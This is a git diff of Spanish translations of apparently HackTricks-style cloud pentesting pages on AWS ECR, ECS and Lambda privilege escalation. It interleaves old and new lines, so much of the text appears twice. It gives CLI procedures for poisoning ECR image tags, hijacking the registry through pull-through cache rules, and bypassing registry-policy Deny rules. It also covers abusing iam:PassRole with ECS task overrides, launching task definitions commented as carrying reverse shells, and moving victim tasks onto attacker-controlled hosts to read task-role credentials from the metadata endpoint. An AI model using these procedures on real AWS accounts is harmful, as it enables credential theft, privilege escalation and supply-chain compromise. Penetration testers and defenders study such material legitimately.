Potential Impact: Compromiso de la cadena de suministro al secuestrar nombres internos de imágenes bajo el prefijo elegido. Cualquier carga de trabajo que haga pull de imágenes desde el ECR privado usando ese prefijo recibirá contenido controlado por attacker.
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
Abusa de este permiso para cambiar un repositorio con inmutabilidad de tags a mutable y sobrescribir tags de confianza (p. ej., latest, stable, prod) con contenido controlado por el atacante.
|
||||
Abusa de este permiso para cambiar un repositorio con tags inmutables a mutable y sobrescribir tags de confianza (p. ej., latest, stable, prod) con contenido controlado por attacker.
|
||||
|
||||
- Permisos requeridos: `ecr:PutImageTagMutability` más capacidades de push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impacto: Compromiso de la cadena de suministro al reemplazar silenciosamente tags inmutables sin cambiar sus nombres.
|
||||
- Impacto: Compromiso de la cadena de suministro al reemplazar silenciosamente tags inmutables sin cambiar los nombres de los tags.
|
||||
|
||||
Pasos (ejemplo):
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>Envenenar una tag inmutable alternando la mutabilidad</summary>
|
||||
<summary>Envenenar un tag inmutable alternando la mutabilidad</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO=ht-immutable-demo-$RANDOM
|
||||
@@ -158,12 +152,12 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### Secuestro global del registro mediante la regla ROOT Pull-Through Cache
|
||||
#### Global registry hijack via ROOT Pull-Through Cache rule
|
||||
|
||||
Crea una regla Pull-Through Cache (PTC) usando el especial `ecrRepositoryPrefix=ROOT` para mapear la raíz del registro privado de ECR a un registro público upstream (p. ej., ECR Public). Cualquier pull a un repositorio inexistente en el registro privado será servido de forma transparente desde el upstream, permitiendo el secuestro de la cadena de suministro sin necesidad de push a ECR privado.
|
||||
Crea una regla Pull-Through Cache (PTC) usando el especial `ecrRepositoryPrefix=ROOT` para mapear la raíz del registro privado de ECR a un registro público upstream (p. ej., ECR Public). Cualquier pull a un repositorio inexistente en el registro privado será servido de forma transparente desde upstream, habilitando supply-chain hijacking sin necesidad de push al ECR privado.
|
||||
|
||||
- Permisos requeridos: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- Impacto: Los pulls a `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` tienen éxito y crean automáticamente repos privados obtenidos del upstream.
|
||||
- Impacto: Los pulls a `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` tienen éxito y crean automáticamente repos privados con origen en upstream.
|
||||
|
||||
> Nota: Para reglas `ROOT`, omite `--upstream-repository-prefix`. Proporcionarlo causará un error de validación.
|
||||
|
||||
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting` (Reducir `REGISTRY_POLICY_SCOPE` para eludir registry policy Deny)
|
||||
### `ecr:PutAccountSetting` (Degradar `REGISTRY_POLICY_SCOPE` para eludir las denegaciones de la política del registro)
|
||||
|
||||
Abusa de `ecr:PutAccountSetting` para cambiar el scope de la registry policy de `V2` (política aplicada a todas las acciones de ECR) a `V1` (política aplicada solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si una registry policy restrictiva con effect Deny bloquea acciones como `CreatePullThroughCacheRule`, degradar a `V1` elimina esa aplicación para que los identity‑policy Allows entren en efecto.
|
||||
Abusa de `ecr:PutAccountSetting` para cambiar el scope de la registry policy de `V2` (policy aplicada a todas las acciones de ECR) a `V1` (policy aplicada solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si una registry policy restrictiva Deny bloquea acciones como `CreatePullThroughCacheRule`, degradar a `V1` elimina esa aplicación para que los identity‑policy Allows entren en efecto.
|
||||
|
||||
- Permisos requeridos: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- Impacto: Capacidad para realizar acciones de ECR previamente bloqueadas por un registry policy Deny (p. ej., crear reglas PTC) al establecer temporalmente el scope a `V1`.
|
||||
- Impacto: Capacidad para realizar acciones de ECR previamente bloqueadas por una registry policy Deny (p. ej., crear reglas PTC) al establecer temporalmente el scope en `V1`.
|
||||
|
||||
Pasos (ejemplo):
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>Eludir el registry policy Deny en CreatePullThroughCacheRule cambiando a V1</summary>
|
||||
<summary>Eludir registry policy Deny en CreatePullThroughCacheRule cambiando a V1</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -266,3 +260,5 @@ fi
|
||||
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Más **información sobre ECS** en:
|
||||
Más **info sobre ECS** en:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ Más **información sobre ECS** en:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Un atacante que abuse del permiso `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que robe las credenciales de metadata y **ejecutarlo**.
|
||||
Un atacante que abuse del permiso `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que robe las credenciales de metadatos y **ejecutarla**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -75,18 +75,18 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto potencial:** Privesc directo a un rol distinto de ECS.
|
||||
**Impacto potencial:** Escalada directa privesc a un rol de ECS diferente.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Un atacante que tiene permisos `iam:PassRole` y `ecs:RunTask` puede iniciar una nueva tarea de ECS con los valores de **rol de ejecución**, **rol de tarea** y **comando** del contenedor modificados. El comando CLI `ecs run-task` contiene la opción `--overrides`, que permite cambiar en tiempo de ejecución `executionRoleArn`, `taskRoleArn` y el `command` del contenedor sin tocar la definición de la tarea.
|
||||
Un atacante que tenga permisos `iam:PassRole` y `ecs:RunTask` puede iniciar una nueva tarea de ECS con valores modificados de **execution role**, **task role** y el **command** del contenedor. El comando CLI `ecs run-task` incluye la opción `--overrides`, que permite cambiar en tiempo de ejecución `executionRoleArn`, `taskRoleArn` y el `command` del contenedor sin tocar la task definition.
|
||||
|
||||
Los roles IAM especificados en `taskRoleArn` y `executionRoleArn` deben, en su política de confianza, permitir que `ecs-tasks.amazonaws.com` los asuma.
|
||||
Los roles IAM especificados en `taskRoleArn` y `executionRoleArn` deben confiar/permitir ser asumidos por `ecs-tasks.amazonaws.com` en su política de confianza.
|
||||
|
||||
Además, el atacante necesita conocer:
|
||||
- Nombre del clúster de ECS
|
||||
- Subred de VPC
|
||||
- Grupo de seguridad (si no se especifica un grupo de seguridad se usará el predeterminado)
|
||||
- Nombre de la Task Definition y revisión
|
||||
- Nombre del cluster de ECS
|
||||
- Subred de la VPC
|
||||
- Security group (Si no se especifica un security group se usará el por defecto)
|
||||
- Nombre y revisión de la Task Definition
|
||||
- Nombre del contenedor
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
En el fragmento de código anterior un atacante sobrescribe solo el valor de `taskRoleArn`. Sin embargo, el atacante debe tener el permiso `iam:PassRole` sobre el `taskRoleArn` especificado en el comando y sobre el `executionRoleArn` especificado en la definición de la tarea para que el ataque ocurra.
|
||||
En el fragmento de código anterior un atacante sobrescribe solo el valor de `taskRoleArn`. Sin embargo, el atacante debe tener el permiso `iam:PassRole` sobre el `taskRoleArn` especificado en el comando y sobre el `executionRoleArn` especificado en la definición de la tarea para que el ataque suceda.
|
||||
|
||||
Si el rol IAM que el atacante puede pasar tiene suficientes privilegios para descargar una imagen de ECR y arrancar la tarea de ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), entonces el atacante puede especificar el mismo rol IAM tanto para `executionRoleArn` como para `taskRoleArn` en el comando `ecs run-task`.
|
||||
Si el IAM role que el atacante puede pasar tiene suficientes privilegios para hacer pull de la imagen desde ECR y arrancar la tarea de ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), entonces el atacante puede especificar el mismo IAM role tanto para `executionRoleArn` como para `taskRoleArn` en el comando `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potential Impact:** Elevación directa (Direct privesc) a cualquier ECS task role.
|
||||
**Impacto potencial:** Privesc directo a cualquier rol de tarea de ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Del mismo modo que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** en ECS puede **generar una nueva task definition** con un **container malicioso** que robe las credenciales de metadatos y **ejecutarla**.\
|
||||
Sin embargo, en este caso, debe existir una container instance para ejecutar la task definition maliciosa.
|
||||
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que robe las credenciales de metadatos y **ejecutarla**.\
|
||||
Sin embargo, en este caso, es necesaria una container instance para ejecutar la task definition maliciosa.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Impacto potencial:** Privesc directo a cualquier rol de ECS.
|
||||
**Impacto potencial:** Privesc directo a cualquier role de ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que robe las credenciales de metadatos y **ejecutarla creando un nuevo service con al menos 1 task en ejecución.**
|
||||
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que robe las credenciales de metadatos y **ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Impacto potencial:** Direct privesc to any ECS role.
|
||||
**Impacto potencial:** Privesc directo a cualquier rol de ECS.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
En realidad, solo con esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como:
|
||||
De hecho, solo con esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,12 +181,12 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Impacto potencial:** Direct privesc a cualquier ECS role.
|
||||
**Impacto potencial:** privesc directo a cualquier ECS role.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Este escenario es como los anteriores pero **sin** el permiso **`iam:PassRole`**.\
|
||||
Esto sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso aunque no tenga rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el EC2 IAM role** y los **roles de otros contenedores ECS** que se estén ejecutando en el nodo.\
|
||||
Sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso sin un role, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el EC2 IAM role** y los **roles de otros contenedores ECS** que se estén ejecutando en el nodo.\
|
||||
Incluso podrías **forzar que otras tareas se ejecuten dentro de la instancia EC2** que comprometas para robar sus credenciales (como se discute en la [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
@@ -233,8 +233,8 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Un atacante con las **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el IAM role adjunto a él (necesitas los permisos de describe porque es necesario para ejecutar `aws ecs execute-command`).\
|
||||
Sin embargo, para hacer eso, la instancia del contenedor debe estar ejecutando el **ExecuteCommand agent** (que por defecto no lo está).
|
||||
Un atacante con **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el rol IAM adjunto a éste (se necesitan los permisos de describe porque son necesarios para ejecutar `aws ecs execute-command`).\
|
||||
Sin embargo, para hacer eso, la instancia del contenedor debe estar ejecutando el **ExecuteCommand agent** (por defecto no lo está).
|
||||
|
||||
Por lo tanto, el atacante podría intentar:
|
||||
|
||||
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Si tiene **`ecs:RunTask`**, ejecute una task con `aws ecs run-task --enable-execute-command [...]`
|
||||
- Si tiene **`ecs:StartTask`**, ejecute una task con `aws ecs start-task --enable-execute-command [...]`
|
||||
- Si tiene **`ecs:CreateService`**, cree un service con `aws ecs create-service --enable-execute-command [...]`
|
||||
- Si tiene **`ecs:UpdateService`**, actualice un service con `aws ecs update-service --enable-execute-command [...]`
|
||||
- Si tiene **`ecs:RunTask`**, ejecute una tarea con `aws ecs run-task --enable-execute-command [...]`
|
||||
- Si tiene **`ecs:StartTask`**, ejecute una tarea con `aws ecs start-task --enable-execute-command [...]`
|
||||
- Si tiene **`ecs:CreateService`**, cree un servicio con `aws ecs create-service --enable-execute-command [...]`
|
||||
- Si tiene **`ecs:UpdateService`**, actualice un servicio con `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Puede encontrar **ejemplos de esas opciones** en **secciones anteriores de ECS privesc**.
|
||||
Puedes encontrar **ejemplos de esas opciones** en **secciones previas de ECS privesc**.
|
||||
|
||||
**Impacto potencial:** Privesc a un rol diferente adjunto a los contenedores.
|
||||
**Impacto potencial:** Privesc a un rol diferente adjunto a contenedores.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Consulta en la **página de ssm privesc** cómo puedes abusar de este permiso para **privesc a ECS**:
|
||||
Consulta en la **ssm privesc page** cómo puedes abusar de este permiso para **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -275,7 +275,7 @@ Consulta en la **página de ssm privesc** cómo puedes abusar de este permiso pa
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Consulta en la **página de ec2 privesc** cómo puedes abusar de estos permisos para **privesc a ECS**:
|
||||
Consulta en la **ec2 privesc page** cómo puedes abusar de estos permisos para **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -283,9 +283,9 @@ Consulta en la **página de ec2 privesc** cómo puedes abusar de estos permisos
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Un atacante con estos permisos podría potencialmente registrar una instancia EC2 en un clúster ECS y ejecutar tareas en ella. Esto podría permitir al atacante ejecutar código arbitrario en el contexto de las tareas de ECS.
|
||||
Un atacante con estos permisos podría registrar potencialmente una instancia EC2 en un clúster ECS y ejecutar tareas en ella. Esto podría permitir al atacante ejecutar código arbitrario dentro del contexto de las tareas de ECS.
|
||||
|
||||
- TODO: ¿Es posible registrar una instancia desde otra cuenta AWS para que las tareas se ejecuten en máquinas controladas por el atacante??
|
||||
- TODO: ¿Es posible registrar una instancia desde una cuenta AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
@@ -320,61 +320,61 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
```
|
||||
**Impacto potencial**: Ejecutar código arbitrario en el servicio afectado, pudiendo afectar su funcionalidad o exfiltrar datos sensibles.
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Un atacante con permisos para gestionar ECS capacity providers y actualizar services puede crear un EC2 Auto Scaling Group que controle, envolverlo en un ECS Capacity Provider, asociarlo al cluster objetivo y migrar un servicio víctima para que use este provider. Las tasks entonces se programarán en instancias EC2 controladas por el atacante, permitiendo acceso a nivel de OS para inspeccionar containers y robar las credenciales del task role.
|
||||
### Secuestrar la programación de ECS mediante un Capacity Provider malicioso (toma de control de EC2 ASG)
|
||||
|
||||
Un atacante con permisos para gestionar ECS capacity providers y actualizar servicios puede crear un EC2 Auto Scaling Group que controle, integrarlo en un ECS Capacity Provider, asociarlo al cluster objetivo y migrar un servicio víctima para que use este provider. Las tareas se programarán entonces en instancias EC2 controladas por el atacante, permitiendo acceso a nivel de OS para inspeccionar contenedores y robar task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- Prereqs
|
||||
- Requisitos previos
|
||||
|
||||
|
||||
|
||||
- Create Launch Template for ECS agent to join target cluster
|
||||
- Crear Launch Template para que el agente ECS se una al cluster objetivo
|
||||
|
||||
|
||||
|
||||
- Create Auto Scaling Group
|
||||
- Crear Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Create Capacity Provider from the ASG
|
||||
- Crear Capacity Provider desde el ASG
|
||||
|
||||
|
||||
|
||||
- Associate the Capacity Provider to the cluster (optionally as default)
|
||||
- Asociar el Capacity Provider al cluster (opcionalmente como predeterminado)
|
||||
|
||||
|
||||
|
||||
- Migrate a service to your provider
|
||||
- Migrar un servicio para usar tu Capacity Provider
|
||||
|
||||
|
||||
|
||||
- Verify tasks land on attacker instances
|
||||
- Verificar que las tareas se ejecuten en las instancias del atacante
|
||||
|
||||
|
||||
|
||||
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
|
||||
- Opcional: Desde el nodo EC2, docker exec en los contenedores objetivo y leer http://169.254.170.2 para obtener las task role credentials.
|
||||
|
||||
- Cleanup
|
||||
- Limpieza
|
||||
|
||||
|
||||
|
||||
**Impacto potencial:** Instancias EC2 controladas por el atacante reciben tasks de la víctima, habilitando acceso a nivel de OS a containers y robo de credenciales del task IAM role.
|
||||
**Impacto potencial:** Las instancias EC2 controladas por el atacante reciben tareas de la víctima, habilitando acceso a nivel de OS a los contenedores y robo de las credenciales IAM del task role.
|
||||
|
||||
|
||||
<details>
|
||||
<summary>Paso a paso comandos (copy/paste)</summary>
|
||||
<summary>Comandos paso a paso (copiar/pegar)</summary>
|
||||
<pre>
|
||||
export AWS_DEFAULT_REGION=us-east-1
|
||||
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
|
||||
@@ -407,9 +407,9 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
</pre>
|
||||
</details>
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
### Puerta trasera de cómputo en el cluster mediante registro EXTERNAL de ECS Anywhere
|
||||
|
||||
Abusar de ECS Anywhere para registrar un host controlado por el atacante como una EXTERNAL container instance en un ECS cluster víctima y ejecutar tasks en ese host usando task y execution roles privilegiados. Esto otorga control a nivel de OS sobre dónde se ejecutan las tasks (tu propia máquina) y permite el robo de credenciales/datos desde las tasks y los volúmenes adjuntos sin tocar capacity providers o ASGs.
|
||||
Abusa de ECS Anywhere para registrar un host controlado por el atacante como una container instance EXTERNAL en un cluster ECS de la víctima y ejecutar tareas en ese host usando task y execution roles privilegiados. Esto otorga control a nivel de OS sobre dónde se ejecutan las tareas (tu propia máquina) y permite el robo de credenciales/datos de las tareas y volúmenes adjuntos sin tocar capacity providers ni ASGs.
|
||||
|
||||
- Permisos requeridos (ejemplo mínimo):
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
@@ -417,11 +417,11 @@ Abusar de ECS Anywhere para registrar un host controlado por el atacante como un
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
|
||||
|
||||
- Impacto: Ejecutar contenedores arbitrarios con un taskRoleArn elegido en el host del atacante; exfiltrar credenciales del task role desde 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acceder a cualquier volumen montado por las tasks; más sigiloso que manipular capacity providers/ASGs.
|
||||
- Impacto: Ejecutar contenedores arbitrarios con taskRoleArn elegido en el host del atacante; exfiltrar task-role credentials desde 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acceder a cualquier volumen montado por las tareas; más sigiloso que manipular capacity providers/ASGs.
|
||||
|
||||
Steps
|
||||
Pasos
|
||||
|
||||
1) Create/identify cluster (us-east-1)
|
||||
1) Crear/identificar cluster (us-east-1)
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
@@ -434,7 +434,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) Provisionar el host atacante y registrarlo automáticamente como EXTERNAL (ejemplo: pequeña AL2 EC2 como “on‑prem”)
|
||||
3) Provisionar el host atacante y autorregistrarlo como EXTERNAL (ejemplo: small AL2 EC2 como “on‑prem”)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -455,14 +455,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) Verificar que la instancia de container EXTERNAL se haya unido
|
||||
4) Verificar que la instancia de contenedor EXTERNA se haya unido
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
5) Crear task/execution roles, registrar EXTERNAL task definition y ejecutarla en el attacker host
|
||||
5) Crear roles de task/execution, registrar una task definition EXTERNAL y ejecutarla en el host atacante
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
@@ -498,26 +498,26 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) Desde aquí controlas el host que ejecuta las tareas. Puedes leer los logs de las tareas (si awslogs) o ejecutar directamente en el host para exfiltrar credenciales/datos de tus tareas.
|
||||
6) Desde aquí controlas el host que ejecuta los tasks. Puedes leer los task logs (si awslogs) o ejecutar directamente en el host (exec) para exfiltrate credentials/data desde tus tasks.
|
||||
|
||||
|
||||
|
||||
#### Ejemplo de comando (marcadores de posición)
|
||||
#### Ejemplo de comando (placeholders)
|
||||
|
||||
|
||||
|
||||
|
||||
### Secuestrar el scheduling de ECS mediante un Capacity Provider malicioso (toma de control de EC2 ASG)
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Un atacante con permisos para gestionar ECS capacity providers y actualizar servicios puede crear un EC2 Auto Scaling Group que controle, envolverlo en un ECS Capacity Provider, asociarlo al cluster objetivo y migrar un servicio víctima para que use este provider. Las tareas se programarán entonces en instancias EC2 controladas por el atacante, permitiendo acceso a nivel de OS para inspeccionar contenedores y robar las task role credentials.
|
||||
Un attacker con permisos para gestionar ECS capacity providers y actualizar services puede crear un EC2 Auto Scaling Group que controle, envolverlo en un ECS Capacity Provider, asociarlo al cluster objetivo, y migrar un servicio víctima para usar este provider. Los tasks serán entonces programados en instancias EC2 controladas por el attacker, permitiendo acceso a nivel de sistema operativo para inspeccionar containers y robar task role credentials.
|
||||
|
||||
Comandos (us-east-1):
|
||||
|
||||
- Requisitos previos
|
||||
- Requisitos
|
||||
|
||||
|
||||
|
||||
- Crear Launch Template para que el agente de ECS se una al cluster objetivo
|
||||
- Crear Launch Template para que el ECS agent se una al cluster objetivo
|
||||
|
||||
|
||||
|
||||
@@ -533,18 +533,19 @@ Comandos (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Migrar un servicio para que use este Capacity Provider
|
||||
- Migrar un servicio para usar tu provider
|
||||
|
||||
|
||||
|
||||
- Verificar que las tareas se ejecuten en instancias controladas por el atacante
|
||||
- Verificar que los tasks se ejecutan en instancias controladas por el attacker
|
||||
|
||||
|
||||
|
||||
- Opcional: Desde el nodo EC2, docker exec en los contenedores objetivo y leer http://169.254.170.2 para obtener las task role credentials.
|
||||
- Opcional: Desde el nodo EC2, docker exec en los containers objetivo y leer http://169.254.170.2 para obtener los task role credentials.
|
||||
|
||||
- Limpieza
|
||||
|
||||
|
||||
|
||||
**Impacto potencial:** Las instancias EC2 controladas por el atacante reciben las tareas de la víctima, permitiendo acceso a nivel de OS a los contenedores y el robo de las credenciales IAM del task role.
|
||||
**Impacto potencial:** Nodos EC2 controlados por el attacker reciben los tasks de la víctima, permitiendo acceso a nivel de sistema operativo a los containers y el robo de task IAM role credentials.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -13,10 +13,10 @@ Más información sobre lambda en:
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Los usuarios con los permisos **`iam:PassRole`, `lambda:CreateFunction` y `lambda:InvokeFunction`** pueden escalar sus privilegios.\
|
||||
Pueden **crear una nueva función Lambda y asignarle un IAM role existente**, otorgando a la función los permisos asociados a ese role. El usuario puede entonces **escribir y subir código a esta función Lambda (por ejemplo, con una rev shell)**.\
|
||||
Una vez que la función está configurada, el usuario puede **activar su ejecución** y las acciones deseadas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas de forma indirecta mediante la función Lambda, operando con el nivel de acceso otorgado al IAM role asociado.\\
|
||||
